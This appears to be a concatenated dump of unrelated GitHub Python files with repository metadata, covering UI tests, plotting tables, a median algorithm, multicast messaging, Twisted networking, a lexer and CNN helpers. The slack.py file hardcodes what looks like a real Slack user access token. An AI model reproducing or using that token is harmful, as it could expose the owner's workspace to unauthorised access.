# Game list received from server\n self.game_list.update(\n UpdateGameListEvent(\n [\n SimpleNamespace(**{\"id\": \"game_id_1\", \"name\": \"test game 1\"}),\n SimpleNamespace(**{\"id\": \"game_id_2\", \"name\": \"test game 2\"}),\n SimpleNamespace(**{\"id\": \"game_id_3\", \"name\": \"test game 3\"}),\n ]\n )\n )\n\n # Screen lists all games\n VisualRegression.assert_matches_snapshot(\n self.game_list,\n \"./client/game/screens/game_list/tests/screenshots/game_list_show_games.png\",\n )\n\n self.game_list.update(\n UserTypedEvent(\"2\"),\n )\n m_request_joining_game.assert_called_once_with(mock.ANY, mock.ANY, \"game_id_3\")\n","repo_name":"namelivia/game-exercise","sub_path":"client/game/screens/game_list/tests/test_game_list.py","file_name":"test_game_list.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"43105408239","text":"import matplotlib.font_manager as font_manager\n\n\ndef get_widest_col(data):\n\n sizes = []\n for x in data:\n s = str(x)\n length = len(s)\n sizes.append(length)\n return sizes\n\n\ndef get_max_width(dataset, cols):\n matrix = []\n returndata = []\n for item in dataset:\n matrix.append(get_widest_col(item))\n\n col = 0\n while col < cols:\n column = 3\n for item in matrix:\n if item[col] > column:\n column = item[col]\n returndata.append(column)\n col += 1\n return returndata\n\n\ndef calculate_colwidths(settings, cols, matrix):\n\n collist = []\n\n for item in matrix:\n value = item * settings[\"tablecolumn_spacing\"]\n collist.append(value)\n\n return collist\n\n\ndef get_font(settings):\n font = font_manager.FontProperties(size=settings[\"table_fontsize\"])\n return font\n\n\ndef create_generic_table(settings, table_vals, ax2, rowlabels, location):\n cols = len(table_vals[0])\n matrix = get_max_width(table_vals, cols)\n # print(matrix)\n colwidths = calculate_colwidths(settings, cols, matrix)\n # print(colwidths)\n\n table = ax2.table(\n cellText=table_vals,\n loc=location,\n rowLabels=rowlabels,\n colLoc=\"center\",\n colWidths=colwidths,\n cellLoc=\"center\",\n rasterized=False,\n )\n table.auto_set_font_size(False)\n table.set_fontsize(7)\n table.scale(1, 1.2)\n\n if settings[\"table_lines\"]:\n linewidth = 0.25\n else:\n linewidth = 0\n\n for key, cell in table.get_celld().items():\n cell.set_linewidth(linewidth)\n cell.set_text_props(fontproperties=get_font(settings))\n\n\ndef create_cpu_table(settings, data, ax2):\n table_vals = [data[\"x_axis\"], data[\"cpu\"][\"cpu_usr\"], data[\"cpu\"][\"cpu_sys\"]]\n\n rowlabels = [\"CPU Usage\", \"cpu_usr %\", \"cpu_sys %\"]\n location = \"lower center\"\n create_generic_table(settings, table_vals, ax2, rowlabels, location)\n\n\ndef create_stddev_table(settings, data, ax2):\n table_vals = [data[\"x_axis\"], data[\"y1_axis\"][\"stddev\"], data[\"y2_axis\"][\"stddev\"]]\n\n table_name = settings[\"label\"]\n\n rowlabels = [table_name, \"IOP/s \\u03C3 %\", \"Latency \\u03C3 %\"]\n location = \"lower right\"\n create_generic_table(settings, table_vals, ax2, rowlabels, location)\n\n\ndef convert_number_to_yes_no(data):\n newlist = []\n lookup = {1: \"yes\", 0: \"no\"}\n for item in data:\n newlist.append(lookup[item])\n return newlist\n\n\ndef create_steadystate_table(settings, data, ax2):\n # pprint.pprint(data)\n if data[\"ss_attained\"]:\n data[\"ss_attained\"] = convert_number_to_yes_no(data[\"ss_attained\"])\n table_vals = [\n data[\"x_axis\"],\n data[\"ss_data_bw_mean\"][\"data\"],\n data[\"ss_data_iops_mean\"][\"data\"],\n data[\"ss_attained\"],\n ]\n\n rowlabels = [\n \"Steady state\",\n f\"BW mean {data['ss_data_bw_mean']['format']}\",\n f\"{data['ss_data_iops_mean']['format']} mean\",\n f\"{data['ss_settings'][0]} attained\",\n ]\n location = \"lower center\"\n create_generic_table(settings, table_vals, ax2, rowlabels, location)\n else:\n print(\n \"\\n No steadystate data was found, so the steadystate table cannot be displayed.\\n\"\n )\n","repo_name":"shunlir/fio-plot","sub_path":"fio_plot/fiolib/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26521466785","text":"def middle(start, end):\n half = (end - start) // 2\n\n if (end - start) % 2 == 1:\n return start + half, start + half\n else:\n return start + half - 1, start + half\n\n\ndef bisect(num, lst, start, end):\n\n while end - start > 2:\n _, mid = middle(start, end)\n\n if num <= lst[mid]:\n end = mid\n else:\n start = mid + 1\n\n if num <= lst[start]:\n return start\n elif end - start == 1 or num <= lst[start + 1]:\n return start + 1\n else:\n return start + 2\n\n\ndef one_median(num, lst, start, end):\n\n i = bisect(num, lst, start, end)\n\n if (end - start) % 2 == 1:\n mid, mid = middle(start, end)\n if i < mid:\n return (lst[mid - 1] + lst[mid]) / 2\n elif i in (mid, mid + 1):\n return (num + lst[mid]) / 2\n else:\n return (lst[mid] + lst[mid + 1]) / 2\n\n else:\n left, right = middle(start, end)\n if i < right:\n return lst[left]\n elif i == right:\n return num\n else:\n return lst[right]\n\n\ndef median(a, b):\n if len(a) > len(b):\n a, b = b, a\n\n start_a = start_b = 0\n end_a = len(a)\n end_b = len(b)\n\n while end_a - start_a > 1:\n i_a, j_a = middle(start_a, end_a)\n i_b, j_b = middle(start_b, end_b)\n\n if a[j_a] < b[i_b]:\n length = j_a - start_a\n start_a += length # a = a[j:]\n end_b -= length # b = b[:i + 1]\n\n elif b[j_b] < a[i_a]:\n length = end_a - (i_a + 1)\n end_a -= length # a = a[:i + 1]\n start_b += length # b = b[j:]\n\n else:\n break\n\n if end_a - start_a == 1:\n return one_median(a[start_a], b, start_b, end_b)\n\n i_a, j_a = middle(start_a, end_a)\n i_b, j_b = middle(start_b, end_b)\n\n if a[i_a] <= b[i_b] <= b[j_b] <= a[j_a]:\n return (b[i_b] + b[j_b]) / 2\n if b[i_b] <= a[i_a] <= a[j_a] <= b[j_b]:\n return (a[i_a] + a[j_a]) / 2\n\n if a[i_a] <= b[i_b] <= a[j_a] <= b[j_b]:\n return (b[i_b] + a[j_a]) / 2\n if b[i_b] <= a[i_a] <= b[j_b] <= a[j_a]:\n return (a[i_a] + b[j_b]) / 2\n","repo_name":"scotchka/code-problems","sub_path":"median_sorted/median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"739740227","text":"import socket\nimport struct\nimport subprocess as sp\nfrom threading import Thread\n\n\nhosts = {} # {hostname: ip}\nmulticast_group = '224.3.29.71'\nserver_address = ('', 10000)\n\n# Create the socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n# Bind to the server address\nsock.bind(server_address)\n# Tell the operating system to add the socket to the multicast group\n# on all interfaces.\ngroup = socket.inet_aton(multicast_group)\nmreq = struct.pack('4sL', group, socket.INADDR_ANY)\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n\n\ndef send_message():\n _multicast_group = ('224.3.29.71', 10000)\n try:\n\n # Send data to the multicast group\n # print('sending \"%s\"' % message())\n sent = sock.sendto(str.encode(message()), _multicast_group)\n print('\\nmessage sent')\n\n except Exception as e:\n print(e)\n\n\ndef message():\n cmd = ['cat /etc/hostname']\n hostname = str(sp.check_output(cmd, shell=True), 'utf-8')[0:-1]\n return hostname\n\n\ndef receive_message():\n while True:\n data, address = sock.recvfrom(1024)\n\n # print('received %s bytes from %s' % (len(data), address))\n hosts[data.decode()] = address[0]\n if len(hosts) == mec:\n print('MEC Details: ', hosts)\n\n\ndef main():\n global mec\n try:\n mec = int(input('Number of Nodes: ').strip())\n print('\\nCompiling MEC Details')\n h1 = Thread(target=receive_message)\n h1.start()\n if input('Type \"Y\" to Start: ').strip().lower() == 'y':\n send_message()\n except KeyboardInterrupt:\n print('\\nProgramme Terminated')\n exit(0)\n\n\nmain()\n\n\n\n\n","repo_name":"emylincon/multicast_msg","sub_path":"2send_receive.py","file_name":"2send_receive.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1031758467","text":"from slackclient import SlackClient\nimport os\n\nzappy_token = \"xoxp-455111924899-455032727220-455010954273-dae9a01702ef012cbc747fa3f3590b8c\"\ntoken = os.environ.get(zappy_token)\nslack_client = SlackClient(token)\n\nif slack_client.rtm_connect():\n # proceed\n while True:\n events = slack_client.rtm_read()\n for event in events:\n if (\n 'channel' in event and\n 'text' in event and\n event.get('type') == 'message'\n ):\n channel = event['channel']\n text = event['text']\n if 'go' in text.lower():\n print(\"collect tweets\")\n # slack_client.api_call(\n # 'chat.postMessage',\n # channel=channel,\n # text=link,\n # as_user='true:'\n # )\n time.sleep(1)\nelse:\n print('Connection failed, invalid token?')","repo_name":"marwadesouky96/Fictionfone","sub_path":"app/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73390615790","text":"#!/usr/bin/python\r\n\r\n'''\r\nDate: 17-06-2019\r\nCreated By: TusharM\r\n1) Define a function max() that takes two numbers as arguments and returns the largest of them. Use the if-then-else construct available in pyScripts. (It is true that pyScripts has the max() function built in, but writing it yourself is nevertheless a good exercise.)\r\n'''\r\n\r\ndef max(num1,num2):\r\n '''Get the maximum of input1 and input2'''\r\n if type(num1)==int and type(num2)==int:\r\n if num1>num2:\r\n return num1\r\n return num2\r\n else:\r\n raise Exception('Invalid input, expected numbers')\r\n\r\nif __name__=='__main__':\r\n print(max.__doc__)\r\n # Get the docstring of the function\r\n print(max(5,10))\r\n # 10\r\n #print(max('5',10))\r\n # Exception\r\n print(max(-5,-10))\r\n #-5\r\n print(max(-5,0))\r\n #0\r\n","repo_name":"tme5/PythonCodes","sub_path":"CoriolisAssignments/pyScripts/01_max.py","file_name":"01_max.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26654557224","text":"from __main__ import app\nfrom app.db import db\nfrom app.models.tables import User\nfrom app.functions.auth_help import verify_login\nfrom app.functions.user import get_user_by_token\nfrom flask import request\nimport json, time\n\n@app.route('/add_push_token', methods=['POST'])\ndef add_push_token():\n\tresponse = {'status': False, 'message': ''};\n\tif not 'token' in request.form or not 'push_token' in request.form:\n\t\tprint(request.form)\n\t\tresponse['message'] = 'bad request'\n\telse:\n\t\ttoken = request.form['token']\n\t\tpush_token = request.form['push_token']\n\t\tis_signed = verify_login(token)\n\t\tif is_signed == False:\n\t\t\tresponse['message'] = 'not authorized'\n\t\telse:\n\t\t\tuser = get_user_by_token(token)\n\t\t\tdb.session.query(User).filter(User.id == user.id).update({'push_token': push_token})\n\t\t\tdb.session.commit()\n\t\t\tresponse['status'] = True\n\t\t\tresponse['message'] = 'ok'\n\t\t\t\n\treturn(json.dumps(response))","repo_name":"GuilhermeGuerra4/yourStories","sub_path":"server/app/controllers/add_push_token.py","file_name":"add_push_token.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11301756225","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 12 14:16:20 2018\n\nopens pickles and then displays the first, second and last raw data row.\n\n@author: Misa\n\"\"\"\n\nimport pickle\n\nwith open(\"./Data.txt\", \"rb\") as fp: # Unpickling list all types\n b = pickle.load(fp)\n\nwith open(\"./DataType1.txt\", \"rb\") as fp1: # Unpickling list type 1\n b1 = pickle.load(fp1)\n \nwith open(\"./DataType2.txt\", \"rb\") as fp2: # Unpickling list type 2\n b2 = pickle.load(fp2)\n \nwith open(\"./DataType3.txt\", \"rb\") as fp3: # Unpickling list type 3\n b3 = pickle.load(fp3)\n \n\"\"\" \n################### DATA TESTS##################################\nprint \"First, second and last entry type 1 list\"\nprint b1[0]\nprint b1[1]\nprint b1[-1]\nprint\nprint \"First, second and last entry type 2 list\"\nprint b2[0]\nprint b2[1]\nprint b2[-1]\nprint\nprint \"First, second and last entry type 3 list\"\nprint b3[0]\nprint b3[1]\nprint b3[-1]\n################################################################\n \"\"\" \n \n \n \n# We are going to split into 4 year increments\n\n","repo_name":"RickNelen/AE2223-I-Group-CD9","sub_path":"lib/datachecker.py","file_name":"datachecker.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9011955507","text":"from scrapy.http import Request, FormRequest\nimport scrapy\nimport re\n \nclass Login3Spider(scrapy.Spider):\n\tname = 'ren-'\n\tstart_urls = ['http://aonephy.top/music']\n \n\t\n\tdef parse(self, response):\n\t\tyield scrapy.FormRequest.from_response(\n\t\t\tresponse, # 传入response对象,自动解析\n\t\t\t# 可以通过xpath来定位form表单,当前页只有一个form表单时,将会自动定位\n\t\t\tformxpath='//*[@id=\"login_box\"]/form', \n\t\t\tformdata={'user': '6', 'password': '698d51a19d8a121ce581499d7b701668'},\n\t\t\tcallback=self.parse_login\n\t\t)\n \n\tdef parse_login(self,response):\n\t\turl = \"http://localhost/creditCard\"\n\t\tyield scrapy.Request(url, callback=self.getContent)\n\t\n\t\t\n\tdef getContent(self,response):\n\t\tfor sel in response.xpath('//*'):\n\t\t\ttmp = sel.xpath('normalize-space(text())').extract()\n\t\t\tprint(tmp)\n","repo_name":"aonephy/python","sub_path":"renren/renren/spiders/ren - 副本.py","file_name":"ren - 副本.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71825169392","text":"#!/usr/bin/env python3\n\nfrom prometheus_client import CollectorRegistry, Gauge, write_to_textfile\nimport csv\n\nregistry = CollectorRegistry()\ng = Gauge('aws_ec2_instance_price', 'price of individual instance types in a region', ['region', 'instance_type'], registry=registry)\n\nregions = [\"ap-southeast-1\"]\n\nfor region in regions:\n with open('data/' + region + '.csv') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in spamreader:\n if row[1] == \"API Name\":\n continue\n\n price = row[30].split(\" \")[0].lstrip(\"$\")\n\n if price == \"unavailable\":\n continue\n\n row = {\n \"region\": region,\n \"instance_type\": row[1],\n \"price\": float(price)\n }\n\n g.labels( region=row['region'], instance_type=row['instance_type']).set(row['price'])\n\n\nwrite_to_textfile('metrics', registry)\n","repo_name":"leprechaun/aws-ec2-price-exporter","sub_path":"prepare-data.py","file_name":"prepare-data.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11256284469","text":"import csv\r\nimport sys\r\n\r\nreader = csv.reader(sys.stdin, delimiter=\"\\t\")\r\n\r\nreader.__next__()\r\n\r\nfor line in reader:\r\n if len(line) == 19:\r\n authorId = line[3]\r\n hour = int(line[8][11:13])\r\n print(f'{authorId}\\t{hour}')\r\n","repo_name":"Jabor047/Hadoop-and-MapReduce","sub_path":"Final Project/Students_time_mapper.py","file_name":"Students_time_mapper.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34824081937","text":"import sys\n\na,b = map(int,sys.stdin.readline().split())\ncount = 0\nwhile b > a :\n while str(b)[-1] == '1' :\n b = str(b)\n b = int(b[:len(b)-1])\n count += 1\n if b <= a : break\n if b <= a : break\n if b % 2 != 0 : \n print(-1)\n exit(0)\n b = b//2\n count += 1\n\n# print(a,b)\nif a == b : print(count+1)\nelse : print(-1)\n\n### 반례 찾는 중ㅜㅜㅜ","repo_name":"zxxoxnee/coding-test-study-forGangnam","sub_path":"2022년 9월/06일_16953/장영지.py","file_name":"장영지.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"35829961545","text":"\nfrom twisted.protocols import protocol\nfrom twisted.persisted import styles\nfrom twisted.python import timeoutqueue, log\n\n# Java Imports\nfrom java.net import Socket, ServerSocket, SocketException\nfrom java.lang import System\nimport jarray\n\n# System Imports\nimport threading, Queue, time\n\n# Sibling Imports\nimport abstract\n\n\nclass JConnection(abstract.FileDescriptor,\n protocol.Transport,\n styles.Ephemeral):\n \"\"\"A java connection class.\"\"\"\n \n writeBlocker = None\n \n def __init__(self, skt, protocol):\n # print 'made a connection'\n self.skt = skt\n self.protocol = protocol\n self.istream = skt.getInputStream()\n self.ostream = skt.getOutputStream()\n self.writeQ = Queue.Queue()\n\n def write(self, data):\n # print 'waiting to put some data into the writeQ'\n self.writeQ.put(data)\n # print 'put data'\n\n def registerProducer(self, producer, streaming):\n abstract.FileDescriptor.registerProducer(self, producer, streaming)\n self.writeQ.put(BEGIN_CONSUMING)\n\n def unregisterProducer(self):\n abstract.FileDescriptor.unregisterProducer(self)\n self.writeQ.put(END_CONSUMING)\n\n def produceMore(self, x):\n # print 'being asked to produce more'\n if self.producer:\n self.producer.resumeProducing()\n\n def connectionLost(self, arg=None):\n # print 'closing the connection'\n if not self.disconnected:\n self.skt.close()\n self.protocol.connectionLost()\n abstract.FileDescriptor.connectionLost(self)\n \n def loseConnection(self):\n self.writeQ.put(None)\n\n\nclass Blocker(threading.Thread):\n \n stopped = 0\n \n def __init__(self, q):\n threading.Thread.__init__(self)\n self.q = q\n\n def block(self):\n raise 'hello'\n\n def blockForever(self):\n while not self.stopped:\n obj = self.block()\n if obj:\n self.q.put(obj)\n\n def run(self):\n self.blockForever()\n\n def stop(self):\n self.stopped = 1\n\nBEGIN_CONSUMING = 1\nEND_CONSUMING = 2\n\nclass WriteBlocker(Blocker):\n \n def __init__(self, fdes, q):\n Blocker.__init__(self, q)\n self.fdes = fdes\n self.consuming = 0\n\n def block(self):\n if self.consuming:\n try:\n data = self.fdes.writeQ.get_nowait()\n except Queue.Empty:\n self.producing = 0\n self.q.put((self.fdes.produceMore, 1))\n data = self.fdes.writeQ.get()\n else:\n data = self.fdes.writeQ.get()\n if data is None:\n self.stop()\n return (self.fdes.connectionLost, None)\n elif data == BEGIN_CONSUMING:\n self.consuming = 1\n elif data == END_CONSUMING:\n self.consuming = 0\n else:\n # bytes = jarray.array(map(ord, data), 'b')\n try:\n self.fdes.ostream.write(data)\n self.fdes.ostream.flush()\n except SocketException:\n self.stop()\n return (self.fdes.connectionLost, None)\n\n\nclass ReadBlocker(Blocker):\n\n def __init__(self, fdes, q):\n Blocker.__init__(self, q)\n self.fdes = fdes\n\n def block(self):\n bytes = jarray.zeros(8192, 'b')\n try:\n l = self.fdes.istream.read(bytes)\n except SocketException:\n self.stop()\n return (self.fdes.connectionLost, 0)\n if l == -1:\n self.stop()\n return (self.fdes.connectionLost, 0)\n return (self.fdes.protocol.dataReceived, bytes[:l].tostring())\n\n\nclass AcceptBlocker(Blocker):\n\n def __init__(self, svr, q):\n Blocker.__init__(self, q)\n self.svr = svr\n\n def block(self):\n skt = self.svr.sskt.accept()\n return (self.svr.gotSocket, skt)\n\n\nclass JMultiplexor:\n \"\"\"Fakes multiplexing using multiple threads and an action queue.\"\"\"\n \n def __init__(self):\n self.readers = []\n self.writers = []\n self.q = timeoutqueue.TimeoutQueue()\n\n def run(self):\n main.running = 1\n # attempt to install a shutdown hook\n #if hasattr(java.lang.Runtime, 'addShutdownHook'):\n # shutdownThread = java.lang.Thread(RunShutdown())\n # java.lang.Runtime.getRuntime().addShutdownHook(shutdownThread)\n\n while 1:\n # run the delayeds\n timeout = None\n for delayed in main.delayeds:\n delayed.runUntilCurrent()\n newTimeout = delayed.timeout()\n if ((newTimeout is not None) and\n ((timeout is None) or\n (newTimeout < timeout))):\n timeout = newTimeout\n \n # wait at most `timeout` seconds for action to be added to queue\n try:\n self.q.wait(timeout)\n except timeoutqueue.TimedOut:\n pass\n \n # run actions in queue\n for i in range(self.q.qsize()):\n meth, arg = self.q.get()\n meth(arg)\n \n # check if we should shutdown\n if not main.running:\n for callback in main.shutdowns:\n try:\n callback()\n except:\n traceback.print_exc(file=log.logfile)\n \n System.exit(0)\n\n\ntheMultiplexor = JMultiplexor()\n\ndef doNothing(arg):\n pass\n\ndef wakeUp():\n theMultiplexor.q.put((doNothing, None))\n\ndef shutDown():\n if main.running:\n main.running = 0\n wakeUp()\n\ndef portStartListening(tcpPort):\n sskt = ServerSocket(tcpPort.port, tcpPort.backlog)\n tcpPort.sskt = sskt\n AcceptBlocker(tcpPort, theMultiplexor.q).start()\n\ndef portGotSocket(tcpPort, skt):\n # make this into an address...\n protocol = tcpPort.factory.buildProtocol(None)\n transport = JConnection(skt, protocol)\n \n # make read and write blockers\n protocol.makeConnection(transport, tcpPort)\n wb = WriteBlocker(transport, theMultiplexor.q)\n wb.start()\n transport.writeBlocker = wb\n ReadBlocker(transport, theMultiplexor.q).start()\n\n\n# change port around\nimport tcp\ntcp.Port.startListening = portStartListening\ntcp.Port.gotSocket = portGotSocket\n\nimport main\nmain.run = theMultiplexor.run\nmain.wakeUp = wakeUp\nmain.shutDown = shutDown\n","repo_name":"lhl/songclub","sub_path":"_dev/ext/supercast/Twisted-0.12.3/twisted/internet/jnternet.py","file_name":"jnternet.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"4030196555","text":"#将输入的一行代码分解成关键字、界限符、运算符、标识符、常数\n#如果不是标识符,则将其在对应表中的对应号一并输出\nKeyWordTable = {\"int\":1, \"long\":2, \"float\":3, \"double\":4, \"char\":5, \"for\":6, \"while\":7, \"continue\":8, \"break\":9,\n \"if\":10,\"else\":11, \"elif\":12, \"None\":13, \"return\":14, \"switch\":15, \"case\":16, \"pass\":17, \"and\":18,\n \"or\":19, \"not\":20, \"True\":21, \"False\":22, \"void\":23}\n\nDelimterTable = {\"{\":1, \"}\":2, \"[\":3, \"]\":4, \"(\":5, \")\":6, \" \":7, \":\":8, \",\":9, \";\":10}\n\nOperatorTable = {\"+\":1, \"-\":2, \"*\":3, \"/\":4, \"%\":5, \"<\":6, \">\":7, \"=\":8, \"+=\":9, \"-=\":10, \"!=\":11, \"<=\":12, \">=\":12,\n \"//\":13, \"!\":14}\n\nin_str = input(\"Please input a line code:\")\nout_list = []\n#out_list为结果列表,以\", \"作为分界符\ns = 0\nwhile s < len(in_str):\n#for s in range(len(in_str)):\n if in_str[s] in DelimterTable:\n out_list.append(in_str[s] +\", 界限符, \"+str(DelimterTable[in_str[s]]))\n s += 1\n continue\n elif in_str[s] in OperatorTable:\n # if in_str[s] == '-':\n # end = s + 1\n # if end == len(in_str):\n # s = end\n # out_list.append(\"ERROR 005\") # 负号后不能换行\n # break\n # while end < len(in_str) and ('0' <= in_str[end] <= '9'):\n # end += 1\n # if end == len(in_str) or in_str[end] == ' ' or in_str[end] in OperatorTable:\n # out_list.append(in_str[s:end] + \", 负整数, \" + \"DEFAULT\")\n # s = end\n # continue\n # elif in_str[end] == '.':\n # if end == s+1:\n # s = end\n # out_list.append(\"ERROR 004\") # 负号后不能加点\n # break\n # end += 1\n # if end == len(in_str):\n # s = end\n # out_list.append(\"ERROR 001\") # 小数点不能换行\n # break\n # while end < len(in_str) and ('0' <= in_str[end] <= '9'):\n # end += 1\n # if end == len(in_str) or in_str[end] == ' ' or in_str[end] in OperatorTable:\n # out_list.append(in_str[s:end] + \", 负浮点数, \" + \"DEFAULT\")\n # s = end\n # continue\n # else:\n # s = end\n # out_list.append(\"ERROR 002\") # 小数不能出现其他字符\n # break\n # else:\n # s = end\n # out_list.append(\"ERROR 003\") # 整数不能出现其他字符\n # break\n if in_str[s:s+2] in OperatorTable:\n out_list.append(in_str[s:s+2] + \", 双目运算符, \" + str(OperatorTable[in_str[s:s+2]]))\n s += 2\n continue\n else:\n out_list.append(in_str[s] + \", 运算符, \" + str(OperatorTable[in_str[s]]))\n s += 1\n continue\n elif 'a' <= in_str[s] <= 'z' or 'A' <= in_str[s] <= 'Z' or in_str[s] == '_':\n end = s+1\n while end < len(in_str) and ('a' <= in_str[end] <= 'z' or 'A' <= in_str[end] <= 'Z' or '0'<= in_str[end] <= '9' or in_str[end] == '_'):\n end += 1\n if in_str[s:end] in KeyWordTable:\n out_list.append(in_str[s:end] + \", 关键字, \" + str(KeyWordTable[in_str[s:end]]))\n s = end\n continue\n else:\n out_list.append(in_str[s:end] + \", 自定义标识符, \" + \"DEFAULT\")\n s = end\n continue\n elif '0'<= in_str[s] <= '9':\n end = s + 1\n while end < len(in_str) and ('0'<= in_str[end] <= '9'):\n end += 1\n if end == len(in_str) or in_str[end] in DelimterTable or in_str[end] in OperatorTable:\n out_list.append(in_str[s:end] + \", 整数, \" + \"DEFAULT\")\n s = end\n continue\n elif in_str[end] == '.':\n end += 1\n if end == len(in_str):\n s = end\n out_list.append(\"ERROR 001\")#小数点不能换行\n break\n while end < len(in_str) and ('0' <= in_str[end] <= '9'):\n end += 1\n if end == len(in_str) or in_str[end] in DelimterTable or in_str[end] in OperatorTable:\n out_list.append(in_str[s:end] + \", 浮点数, \" + \"DEFAULT\")\n s = end\n continue\n else:\n s = end\n out_list.append(\"ERROR 002\")#小数不能出现其他字符\n break\n else:\n s = end\n out_list.append(\"ERROR 003\")#整数不能出现其他字符\n break\nprint(out_list)","repo_name":"yyl2016000/somePy","sub_path":"LexicalAnalysis.py","file_name":"LexicalAnalysis.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31893082145","text":"# def quick(st, ed):\n# if st == ed:\n# return st\n# x = quick(st, (st + ed) // 2)\n# y = quick((st + ed) // 2 + 1, ed)\n# return win(x, y)\n# def win(a, b):\n# if (li[a - 1] == 1 and li[b - 1] == 2) or (li[a - 1] == 2 and li[b - 1] == 3) or (\n# li[a - 1] == 3 and li[b - 1] == 1):\n# return b\n# if (li[a - 1] == 1 and li[b - 1] == 1) or (li[a - 1] == 2 and li[b - 1] == 2) or (\n# li[a - 1] == 3 and li[b - 1] == 3):\n# return a\n# return a\n\n# T = int(input())\n# for tc in range(1, T + 1):\n# n = int(input())\n# li = list(map(int, input().split()))\n# st = 1\n# ed = n\n# print('#{} {}'.format(tc, quick(st, ed)))\n\ndef devide(lo, hi):\n if lo == hi:\n return lo\n\n l = devide(lo, (lo+hi)//2)\n h = devide((lo+hi)//2+1, hi)\n return game(l, h)\n\ndef game(l, h):\n if arr[l] != 3 and arr[h] != 3:\n if arr[l] == max(arr[l], arr[h]):\n return l\n else:\n return h\n if arr[l] != 1 and arr[h] != 1:\n if arr[l] == max(arr[l], arr[h]):\n return l\n else:\n return h\n if arr[l] != 2 and arr[h] != 2:\n if arr[l] == min(arr[l], arr[h]):\n return l\n else:\n return h\n\n\n\nT = int(input())\nfor tc in range(1, T + 1):\n N = int(input())\n arr = list(map(int, input().split()))\n\n print(\"#{} {}\".format(tc, devide(0, N-1)+1))","repo_name":"gksrb2656/AlgoPractice","sub_path":"stack2/토너먼트카드게임.py","file_name":"토너먼트카드게임.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38775815673","text":"from cnn_utils import *\n\n\ndef create_placeholders(n_H0, n_W0, n_C0, n_y):\n \"\"\"\n Creates the placeholders for the tensorflow session.\n\n Arguments:\n n_H0 -- scalar, height of an input image\n n_W0 -- scalar, width of an input image\n n_C0 -- scalar, number of channels of the input\n n_y -- scalar, number of classes\n\n Returns:\n X -- placeholder for the data input, of shape [None, n_H0, n_W0, n_C0] and dtype \"float\"\n Y -- placeholder for the input labels, of shape [None, n_y] and dtype \"float\"\n \"\"\"\n X = tf.placeholder(tf.float32, [None, n_H0, n_W0, n_C0])\n Y = tf.placeholder(tf.float32, [None, n_y])\n\n return X, Y\n\n\ndef initialize_parameters():\n \"\"\"\n Initializes weight parameters to build a neural network with tensorflow. The shapes are:\n W1 : [4, 4, 3, 8]\n W2 : [2, 2, 8, 16]\n Returns:\n parameters -- a dictionary of tensors containing W1, W2\n \"\"\"\n\n tf.set_random_seed(1)\n W1 = tf.get_variable(\"W1\", [4, 4, 3, 8], initializer=tf.contrib.layers.xavier_initializer(seed=0))\n W2 = tf.get_variable(\"W2\", [2, 2, 8, 16], initializer=tf.contrib.layers.xavier_initializer(seed=0))\n\n parameters = {\"W1\": W1,\n \"W2\": W2}\n\n return parameters\n\n\ndef forward_propagation(X, parameters):\n \"\"\"\n Implements the forward propagation for the model:\n CONV2D -> RELU -> MAXPOOL -> CONV2D -> RELU -> MAXPOOL -> FLATTEN -> FULLYCONNECTED\n\n Arguments:\n X -- input dataset placeholder, of shape (input size, number of examples)\n parameters -- python dictionary containing your parameters \"W1\", \"W2\"\n the shapes are given in initialize_parameters\n\n Returns:\n Z3 -- the output of the last LINEAR unit\n \"\"\"\n W1 = parameters['W1']\n W2 = parameters['W2']\n\n # CONV2D: stride of 1, padding 'SAME'\n Z1 = tf.nn.conv2d(X, W1, strides=[1, 1, 1, 1], padding='SAME')\n\n # RELU\n A1 = tf.nn.relu(Z1)\n\n # MAXPOOL: window 8x8, stride 8, padding 'SAME'\n P1 = tf.nn.max_pool(A1, ksize=[1, 8, 8, 1], strides=[1, 8, 8, 1], padding='SAME')\n\n # CONV2D: filters W2, stride 1, padding 'SAME'\n Z2 = tf.nn.conv2d(P1, W2, strides=[1, 1, 1, 1], padding='SAME')\n\n # RELU\n A2 = tf.nn.relu(Z2)\n\n # MAXPOOL: window 